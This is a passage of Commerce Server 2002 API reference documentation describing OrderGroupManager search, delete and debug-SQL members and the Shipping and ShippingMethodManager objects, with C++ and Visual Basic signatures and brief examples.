[in, optional, defaultvalue (0)] A VARIANT_BOOL that indicates whether the OrderFormHeader table is included in the search. A value of True indicates that the table is included. A value of False indicates that the table is not included.
JoinOrderFormInfo [Visual Basic]
A Boolean that indicates whether the OrderFormHeader table is included in the search. A value of True indicates that the table is included. A value of False indicates that the table is not included. This parameter is optional.
JoinLineItemInfo [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that indicates whether the OrderFormLineItem table is included in the search. A value of True indicates that the table is included. A value of False indicates that the table is not included.
JoinLineItemInfo [Visual Basic]
A Boolean that indicates whether the OrderFormLineItem table is included in the search. A value of True indicates that the table is included. A value of False indicates that the table is not included. This parameter is optional.
Columns [C++]
[in, optional] A VARIANT that contains the names of columns that you want returned in addition to the default columns.
Columns [Visual Basic]
A Variant that contains the names of columns that you want returned in addition to the default columns. This parameter is optional.
OrderGroupSortColumn [C++]
[in, optional] A VARIANT that contains the OrderGroup sort column.
OrderGroupSortColumn [Visual Basic]
A Variant that contains the OrderGroup sort column. This parameter is optional.
SortDirection [C++]
[in, optional] A VARIANT that contains the sort direction.
SortDirection [Visual Basic]
A Variant that contains the sort direction. This parameter is optional.
PageSize [C++]
[in, optional, defaultvalue (20)] A long that contains the page size.
PageSize [Visual Basic]
A Long that contains the page size. This parameter is optional.
PageNumber [C++]
[in, optional, defaultvalue (1)] A long that contains the page number.
PageNumber [Visual Basic]
A Long that contains the page number. This parameter is optional.
outTotalRecordsFound [C++]
[out, optional] A pointer to the VARIANT that contains the total number of records found.
outTotalRecordsFound [Visual Basic]
A Variant that contains the total number of records found. This parameter is optional. This parameter is optional.
pvtRetVal[C++]
[out, retval] A pointer to a VARIANT used to return an ADO recordset of the search results.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains an ADO recordset of the search results.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRetVal and outTotalRecordsFound parameters point to valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.FindTemplatesForUser("{11223344-1122-1122-1122- _
    AABBCCDDEEFF}")

See Also

[C++] OrderGroupManager Object

[C++] Business Process Objects

[Visual Basic] OrderGroupManager Object

[Visual Basic] Business Process Objects


_OrderGroupManager::GetOrderSummary Method [C++]

OrderGroupManager.GetOrderSummary Method [Visual Basic]

Use this method to return a recordset containing the summary information for the order.

Definition

[C++]
HRESULT _OrderGroupManager::GetOrderSummary(
  VARIANT oid
);
[Visual Basic]
Function GetOrderSummary(
  oid
)

Parameters

oid [C++]
[in] A VARIANT that contains the OrderGroup object ID.
oid [Visual Basic]
A Variant that contains the OrderGroup object ID.

Return Values

[C++] This method returns a Recordset object containing the information described.

[Visual Basic] This method returns a recordset object containing the information described.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method returns the keys saved_cy_adjust_subtotal and total_line_items for the given order_group_id.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oid is a Variant containing a valid OrderGroupID
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.GetOrderSummary(oid)

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::Initialize Method [C++]

OrderGroupManager.Initialize Method [Visual Basic]

Use this method to create a connection to the specified database.

Definition

[C++]
HRESULT _OrderGroupManager::Initialize(
  VARIANT* ConnectionString
);
[Visual Basic]
Sub Initialize(
  ConnectionString As Variant
)

Parameters

ConnectionString [C++]
[in] A pointer to a VARIANT that contains the database connection string.
ConnectionString [Visual Basic]
A Variant that contains the database connection string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vConnectionString is a Variant containing a database connection string
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.Initialize(vConnectionString)

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::SimpleDelete Method [C++]

OrderGroupManager.SimpleDelete Method [Visual Basic]

Use this method to delete all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.

Definition

[C++]
HRESULT _OrderGroupManager::SimpleDelete(
  _SimpleFindSearchInfo* sfSearchInfo,
  _SimpleFindResultInfo* sfResultInfo,
);
[Visual Basic]
Sub SimpleDelete(
  sfSearchInfo As Object,
  sfResultInfo As Object
)

Parameters

sfSearchInfo [C++]
[in] A reference to a _SimpleFindSearchInfo object that contains the search criteria.
sfSearchInfo [Visual Basic]
A SimpleFindSearchInfo object that contains the search criteria.
sfResultInfo [C++]
[in] A reference to a _SimpleFindResultInfo object that contains the search criteria.
sfResultInfo [Visual Basic]
A SimpleFindResultInfo object that contains the search criteria.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vResult is a Variant
' oSimpleFindSearchInfo is a Commerce SimpleFindSearchInfo object
' oSimpleFindResultInfo is a Commerce SimpleFindResultInfo object
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.SimpleDelete(oSimpleFindSearchInfo, _
    oSimpleFindResultInfo)

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::SimpleFind Method [C++]

OrderGroupManager.SimpleFind Method [Visual Bas Methodic]

Use this method to retrieve an ADO recordset of OrderGroup objects based on the specified SimpleFindSearchInfo and SimpleFindResultInfo object values. These object values contain the search criteria.

Definition

[C++]
HRESULT _OrderGroupManager::SimpleFind(
  _SimpleFindSearchInfo* sfSearchInfo,
  _SimpleFindResultInfo* sfResultInfo,
  VARIANT* outTotalRecordsFound,
  VARIANT* pvtRetVal
);
[Visual Basic]
Function SimpleFind(
  sfSearchInfo As Object,
  sfResultInfo As Object,
  Optional outTotalRecordsFound As Variant
) As Variant

Parameters

sfSearchInfo [C++]
[in] A pointer to the _SimpleFindSearchInfo interface of a SimpleFindSearchInfo object that contains the search criteria.
sfSearchInfo [Visual Basic]
A SimpleFindSearchInfo object that contains the search criteria.
sfResultInfo [C++]
[in] A pointer to the _SimpleFindResultInfo interface of a SimpleFindResultInfo object that contains the search criteria.
sfResultInfo [Visual Basic]
A SimpleFindResultInfo object that contains the search criteria.
outTotalRecordsFound [C++]
[out] A pointer to a VARIANT that contains the total number of records found.
outTotalRecordsFound [Visual Basic]
A Variant that contains the total number of records found.
pvtRetVal [C++]
[out, retval] A pointer to a VARIANT used to return the search result recordset of OrderGroup items.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO recordset that contains the search result OrderGroup objects.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRetVal and outTotalRecordsFound parameters point to valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Dim oSFSearch, sReqID, oOGMgr
' oOGMgr is a Commerce.OrderGroupManager object
Set oSFSearch = Server.CreateObject("Commerce.SimpleFindSearchInfo")
' Search for this OrderGroup ID
sReqID ="754C40C6-EAA9-454C-A8AB-02789FBE0FB9"
oSFSearch.ordergroup_id = sReqID

Dim oSFResult
Set osfResult =Server.CreateObject("Commerce.SimpleFindResultInfo")
oSFResult.JoinLineItemInfo = True
oSFResult.JoinOrderFormInfo = True

Dim oRSResults
Set oRSResults=Server.CreateObject("ADODB.Recordset")

Set oRSResults= oOGMgr.SimpleFind(oSFSearch, oSFResult)

See Also

[C++] Business Process Objects

[C++] OrderGroupManager Object

[Visual Basic] Business Process Objects

[Visual Basic] OrderGroupManager Object


_OrderGroupManager Properties [C++]

OrderGroupManager Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
DebugReturnSQL | VARIANT_BOOL | Determines if methods of this object will run a SQL Server query and return the resulting recordset, or if it will construct the SQL Server query and return the query string. This property is read/write.
OrderFormHeaderColumns | VARIANT | Returns a string of comma-separated OrderFormHeader table column names. This property is read-only.
OrderFormLineItemsColumns | VARIANT | Returns a string of comma-separated OrderFormLineItems table column names. This property is read-only.
OrderGroupColumns | VARIANT | Returns a string of comma-separated OrderGroup table column names. This property is read-only.
[Visual Basic]
Property | Type | Description
DebugReturnSQL | Boolean | Determines if methods of this object will run a SQL Server query and return the resulting recordset, or if it will construct the SQL Server query and return the query string. This property is read/write.
OrderFormHeaderColumns | Variant | Returns a string of comma-separated OrderFormHeader table column names. This property is read-only.
OrderFormLineItemsColumns | Variant | Returns a string of comma-separated OrderFormLineItems table column names. This property is read-only.
OrderGroupColumns | Variant | Returns a string of comma-separated OrderGroup table column names. This property is read-only.


_OrderGroupManager::get_DebugReturnSQL, put_DebugReturnSQL Property [C++]

OrderGroupManager.DebugReturnSQL Property [Visual Basic]

The DebugReturnSQL property is a read/write Boolean that determines if the methods of the OrderGroupManager object will run a SQL Server query and return the resulting recordset, or if it will construct the SQL Server query and return the query string. This property is intended for internal use only and should not be called externally.

Definition

[C++]

Get method:

HRESULT _OrderGroupManager::get_DebugReturnSQL(
  VARIANT_BOOL DebugReturnSQL
);

Put method:

HRESULT _OrderGroupManager::put_DebugReturnSQL(
  VARIANT_BOOL DebugReturnSQL
);
[Visual Basic]
Property DebugReturnSQL () As Boolean

Parameters

DebugReturnSQL [C++]
[in] When putting a value, a VARIANT_BOOL used to determine if methods of this object will run a SQL Server query, or if they will debug the SQL Server connection string.
[out, retval] When getting a value, a VARIANT_BOOL used to determine if methods of this object will run a SQL Server query, or if they will debug the SQL Server connection string.

None.[Visual Basic]

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

If the DebugReturnSQL property is set to False, then the methods such as OrderGroupManager.Find and OrderGroupManager.SimpleFind construct the appropriate SQL Server query, run the query, and return the resulting recordset.

If the DebugReturnSQL property is set to True, then the methods such as OrderGroupManager.Find and OrderGroupManager.SimpleFind construct the appropriate SQL Server query and return the query string.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::get_OrderFormHeaderColumns Property[C++]

OrderGroupManager.OrderFormHeaderColumns Property [Visual Basic]

The OrderFormHeaderColumns property is a read-only Variant that contains a collection of OrderFormHeader table column names.

Definition

[C++]
HRESULT _OrderGroupManager::get_OrderFormHeaderColumns(
  VARIANT* OrderFormHeaderColumns
);
[Visual Basic]
Property OrderFormHeaderColumns As Variant

Parameters

OrderFormHeaderColumns [C++]
[out, retval] A pointer to a VARIANT used to return a collection of OrderFormHeader table column names.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

[C++] The OrderFormHeaderColumns parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::get_OrderFormLineItemsColumns Property [C++]

OrderGroupManager.OrderFormLineItemsColumns Property [Visual Basic]

The OrderFormLineItemsColumns property is a read-only Variant that contains a collection of OrderFormLineItems table column names.

Definition

[C++]
HRESULT _OrderGroupManager::get_OrderFormLineItemsColumns(
  VARIANT* OrderFormLineItemsColumns
);
[Visual Basic]
Property OrderFormLineItemsColumns As Variant

Parameters

OrderFormLineItemsColumns [C++]
[out, retval] A pointer to a VARIANT used to return a collection of OrderFormLineItems table column names.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

[C++] The OrderFormLineItemsColumns parameter contains valid data only if the parameter is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::get_OrderGroupColumns Property [C++]

OrderGroupManager.OrderGroupColumns Property [Visual Basic]

The OrderGroupColumns property is a read-only Variant that contains a collection of OrderGroup table column names.

Definition

[C++]
HRESULT _OrderGroupManager::get_OrderGroupColumns(
  VARIANT* OrderGroupColumns
);
[Visual Basic]
Property OrderGroupColumns As Variant

Parameters

OrderGroupColumns [C++]
[out, retval] A pointer to a VARIANT used to return the collection of OrderGroup column names.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

[C++] The OrderGroupColumns parameter contains valid data only if the parameter is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


Shipping Object [C++]

Shipping Object [Visual Basic]

Use this object to create shipping cost preview information.

ProgID: | Commerce.Shipping (Externally creatable)
COM Class Name: | Shipping
Type Library Name: | Microsoft Commerce 2002 Shipping Components Type Library
DLL Name: | shipmgr.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _Shipping
Interface ID Constant: | None
Header File: | None
[C++]

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
PreviewShipments | Divides an order into shipments and produces shipping cost previews for each shipment using each method.
[Visual Basic]
Method | Description
PreviewShipments | Divides an order into shipments and produces shipping cost previews for each shipment using each method.


_Shipping Methods [C++]

Shipping Methods [Visual Basic]

Methods

[C++]
Method | Description
PreviewShipments | Divides an order into shipments and produces shipping cost previews for each shipment using each method.
[Visual Basic]
Method | Description
PreviewShipments | Divides an order into shipments and produces shipping cost previews for each shipment using each method.


_Shipping::PreviewShipments Method [C++]

Shipping.PreviewShipments Method [Visual Basic]

Use this method to create shipment preview information.

Definition

[C++]
HRESULT _Shipping::PreviewShipments(
  VARIANT* orderform,
  VARIANT* context,
  VARIANT* ShipmentDistinguishers,
  VARIANT* ShippingPreview
);
[Visual Basic]
Function PreviewShipments(
  orderform As Variant,
  context As Variant,
  ShipmentDistinguishers As Variant
) As Variant

Parameters

orderform [C++]
[in] A pointer to a VARIANT containing the OrderForm dictionary for which to calculate shipping cost previews.
orderform [Visual Basic]
The OrderForm object for which to calculate shipping cost previews.
context [C++]
[in] A pointer to a VARIANT containing the Context dictionary to use to run the shipping components.
context [Visual Basic]
The Context dictionary to use to run the shipping components.
ShipmentDistinguishers [C++]
[in] A pointer to a VARIANT containing a SIMPLEARRAY of strings containing the line item attributes (keys) to use to split the order into shipments.
ShipmentDistinguishers [Visual Basic]
An array of strings containing the line item attributes (keys) to use to split the order into shipments.
ShippingPreview [C++]
[out, retval] A pointer to a VARIANT used to return a Simplelist of dictionaries, one for each shipment, which in turn contain a Simplelist of dictionaries containing the shipping cost previews, one for each shipping method.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Simplelist of dictionaries, one for each shipment, which in turn contains a Simplelist of dictionaries containing the shipping cost previews, one for each shipping method.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The ShippingPreview parameter points to valid data only if the method completes successfully.

The PreviewShipments method creates the shipping cost previews by splitting the order into individual shipments. The mechanism used is the same as the Splitter pipeline component. For more information about how shipment distinguishers are used to split shipments, see Splitter.

The PreviewShipments method returns a SimpleList of dictionaries, one for each shipment. Each shipment dictionary in turn contains a SimpleList of dictionaries each of which contains the shipping cost for using a particular shipping method.

For example code showing how to loop through the preview shipments, see Previewing Shipping Costs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oShip is a Commerce.Shipping object
' dOrder and dContext are Commerce.Dictionary objects
' ADistinguishers is an Array of strings naming line items
' slShipments is a SimpleList of dictionary or orderform objects

slShipments = oShip.PreviewShipments(dOrder, dContext, _
Distinguishers)

See Also

Previewing Shipping Costs

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager Object [C++]

ShippingMethodManager Object [Visual Basic]

Use this object to manage shipping methods that will be available on the site. Using the ShippingMethodManager object, you can add and remove methods, set their description, availability, and configuration.

ProgID: | Commerce.ShippingMethodManager (Externally creatable)
COM Class Name: | ShippingMethodManager
Type Library Name: | Microsoft Commerce 2002 Shipping Components Type Library
DLL Name: | shipmgr.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _ShippingMethodManager
Interface ID Constant: | None
Header File: | None
[C++]

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
CreateMethodInstance | Creates an empty instance of a shipping method.
DeleteMethodInstance | Deletes the current shipping method instance.
GetComponentConfig | Retrieves the Configuration dictionary for the shipping component, which implements the current shipping method.
GetInstalledMethodList | Returns a recordset containing the current shipping methods.
GetMethodInfo | Returns a recordset containing information about one or more shipping methods.
Initialize | Initializes the ShippingMethodManager object and connects it to a database.
LoadMethodInstance | Loads a given shipping method to be manipulated by other methods.
SaveMethodConfig | Saves configuration information about the current method.
SetCachableComponentConfig | Saves configuration and other component information for a component.
SetMethodConfig | Sets name/value pairs for the current method.
[Visual Basic]
Method | Description
CreateMethodInstance | Creates an empty instance of a shipping method.
DeleteMethodInstance | Deletes the current shipping method instance.
GetComponentConfig | Retrieves the Configuration dictionary for the shipping component, which implements the current shipping method.
GetInstalledMethodList | Returns a recordset containing the current shipping methods.
GetMethodInfo | Returns a recordset containing information about the loaded shipping method.
Initialize | Initializes the ShippingMethodManager object and connects it to a database.
LoadMethodInstance | Loads a given shipping method to be manipulated by other methods.
SaveMethodConfig | Saves configuration information about the current method.
SetCachableComponentConfig | Saves configuration and other component information for a component.
SetMethodConfig | Sets name/value pairs for the current method.

Remarks

The shipping architecture in Commerce Server 2002 is designed so that shipping methods can be changed through the Shipping Methods module in Commerce Server Business Desk without programming or editing pipelines. To do this, Commerce Server maintains a database table, ShippingConfig, of shipping methods and the information required to configure shipping components to implement those methods.

The ShippingMethodManager object is used by Business Desk to manage the ShippingConfig database table.

For more information about shipping objects, see Multiple-shipment Shipping Architecture.


_ShippingMethodManager Methods [C++]

ShippingMethodManager Methods [Visual Basic]

Methods

[C++]
Method | Description
CreateMethodInstance | Creates an empty instance of a shipping method.
DeleteMethodInstance | Deletes the current shipping method instance.
GetComponentConfig | Retrieves the Configuration dictionary for the shipping component, which implements the current shipping method.
GetInstalledMethodList | Returns a recordset containing the current shipping methods.
GetMethodInfo | Returns a recordset containing information about one or more shipping methods.
Initialize | Initializes the ShippingMethodManager object and connects it to a database.
LoadMethodInstance | Loads a given shipping method to be manipulated by other methods.
SaveMethodConfig | Saves configuration information about the current method.
SetCachableComponentConfig | Saves configuration and other component information for a component.
SetMethodConfig | Sets name/value pairs for the current method.
[Visual Basic]
Method | Description
CreateMethodInstance | Creates an empty instance of a shipping method.
DeleteMethodInstance | Deletes the current shipping method instance.
GetComponentConfig | Retrieves the Configuration dictionary for the shipping component, which implements the current shipping method.
GetInstalledMethodList | Returns a recordset containing the current shipping methods.
GetMethodInfo | Returns a recordset containing information about the loaded shipping method.
Initialize | Initializes the ShippingMethodManager object and connects it to a database.
LoadMethodInstance | Loads a given shipping method to be manipulated by other methods.
SaveMethodConfig | Saves configuration information about the current method.
SetCachableComponentConfig | Saves configuration and other component information for a component.
SetMethodConfig | Sets name/value pairs for the current method.


_ShippingMethodManager::CreateMethodInstance Method [C++]

ShippingMethodManager.CreateMethodInstance Method [Visual Basic]

Use this method to create a new shipping method.

Definition

[C++]
HRESULT __ShippingMethodManager::CreateMethodInstance(
  VARIANT* bOnDisk,
  VARIANT* sMethodId
);
[Visual Basic]
Function CreateMethodInstance(
  bOnDisk As Variant
) As Variant

Parameters

bOnDisk [C++]
[in] A VARIANT containing a Boolean indicating whether or not to create the shipping method on disk. This parameter is usually set to True
bOnDisk [Visual Basic]
A Variant containing a Boolean indicating whether or not to create the shipping method on disk. This parameter is usually set to True.
sMethodId [C++]
[out, retval] A VARIANT containing a BSTR that is the method ID of the new method. Set to an empty string if the bOnDisk parameter is False.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing a string that is the method ID of the new shipping method. This method returns an empty string when the bOnDisk parameter is False.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The sMethodId parameter contains valid data only if the method completes successfully.

If the shipping method is created to be saved on disk (the bOnSaved parameter is True), the function adds a new record to the current recordset with the enabled column value set to zero (0) and the shipping_method_id column set to the new shipping method ID.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Initialize the ShippingMethodManager object.
' oSMM is a Commerce.ShippingMethodManager object.
' MSCSTransactionConfigConnStr is sConnectionString, a string containing
' the connection string.

Call oSMM.Initialize(MSCSTransactionConfigConnStr)

' Create a new shipping method.
' bOnDisk is set to True.
' sShippingMethodID is sMethodID.
sShippingMethodID = oSMM.CreateMethodInstance(True)

' Set the configuration data for the pipeline component.
' sProgID, sAction, and sActionFrientlyName are strings.
' dConfigDict is a Commerce.Dictionary object.

Call oSMM.SetCachableComponentConfig(sProgID, dConfigDict, _
                 sAction, sActionFriendlyName)

' Set properties for the shipping method.

Call oSMM.SetMethodConfig(Array("shipping_method_name", "My Shipping Method", "description", "Cheapest but slowest shipping method", "enabled", 1))

' Save the configured shipping method.
oSMM.SaveMethodConfig

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::DeleteMethodInstance Method [C++]

ShippingMethodManager.DeleteMethodInstance Method [Visual Basic]

Use this method to delete the current shipping method instance.

Definition

[C++]
HRESULT _ShippingMethodManager::DeleteMethodInstance(void);
[Visual Basic]
Sub DeleteMethodInstance()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method acts on the loaded shipping method. You must call the LoadMethodInstance or CreateMethodInstance method to load a shipping method into the ShippingMethodManager object before calling this method.

[Visual Basic]

Example

' oSMM is an initialized Commerce.ShippingMethodManager object.
' sMethodId is set to sShippingMethodId,
' the method ID of the new method.

Call oSMM.LoadMethodInstance(sShippingMethodId)
oSMM.DeleteMethodInstance

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::GetComponentConfig Method [C++]

ShippingMethodManager.GetComponentConfig Method [Visual Basic]

Use this method to retrieve the Configuration dictionary for the shipping component to implement the current shipping method. The shipping method must be loaded using the LoadMethodInstance method before calling the GetComponentConfig method.

Definition

[C++]
HRESULT _ShippingMethodManager::GetComponentConfig(
  VARIANT* dConfig
);
[Visual Basic]
Function GetComponentConfig() As Variant

Parameters

dConfig [C++]
[out, retval] A pointer to a VARIANT containing the Configuration dictionary.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the Configuration dictionary for the current shipping method.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

